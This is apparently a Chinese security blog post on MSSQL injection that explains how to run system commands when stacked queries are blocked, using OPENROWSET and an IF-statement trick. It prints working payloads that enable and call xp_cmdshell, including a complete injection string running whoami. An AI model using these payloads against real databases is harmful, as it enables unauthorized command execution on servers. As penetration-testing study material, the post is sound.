这是网上流传比较广的一种,使用 openrowset 来执行,突破不能堆叠的限制,语法格式如下:
OPENROWSET
( { 'provider_name'
, { 'datasource' ; 'user_id' ; 'password' | 'provider_string' }
, { <table_or_view> | 'query' }
| BULK 'data_file' ,
{ FORMATFILE = 'format_file_path' [ <bulk_options> ]
| SINGLE_BLOB | SINGLE_CLOB | SINGLE_NCLOB }
} )
payload
select * from openrowset('sqloledb','dsn=locaserver;trusted_connection=yes','set
fmtonly off
exec master..xp_cmdshell ''dir c:''with RESULT SETS((a varchar(max)))')
在平常渗透测试中,这个技巧更多的时候用在切换高权限用户的时候,在 sqlmap\data\procs\mssqlserver 下的 run_statement_as_user.sql 中,我们可以看到常用的 payload

但是该方法在实际的运用中局限性还是很大的,因为在 mssql2005 及其以后,mssql对系统存储过程做了权限控制,Ad Hoc Distributed Queries 组件默认是不被启用的。

exec sp_configure 'show advanced options',1 reconfigure exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
exec sp_configure 'Ad Hoc Distributed Queries',0 reconfigure exec sp_configure 'show advanced options',0 reconfigure
select name,value_in_use from sys.configurations where name like '%Ad Hoc Distributed Queries%'
select name,value_in_use from sys.configurations where name like '%cmdshell%'
开启后再来执行执行可以看到顺利执行了。

因为 方法1 的局限性太大了,翻了半天资料没有找到相应的方法,只能自己动手。在同事@子云爸爸 的帮助下,终于瞎几把摸索出一个新的方式去突破无法堆叠的问题。
那么 exec 真的需要多句才能执行吗?,来直接看 payload 吧

if 语句的表达式如下,也就是说,我们是可以借助 if 来执行 sql_statement,那么只要你能在你的注入点构造一个 if 出来,不需要环境支持堆叠也可以达到堆叠的效果。
IF Boolean_expression
{ sql_statement | statement_block }
[ ELSE
{ sql_statement | statement_block } ]

完整的 payload
select 1 where 1=1 if 1=1 execute('exec sp_configure ''show advanced options'',
1;reconfigure;exec sp_configure ''xp_cmdshell'', 1;reconfigure;exec xp_cmdshell
''whoami''');

本文作者:宽字节安全
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/163638.html
必填 您当前尚未登录。 登录? 注册
必填(保密)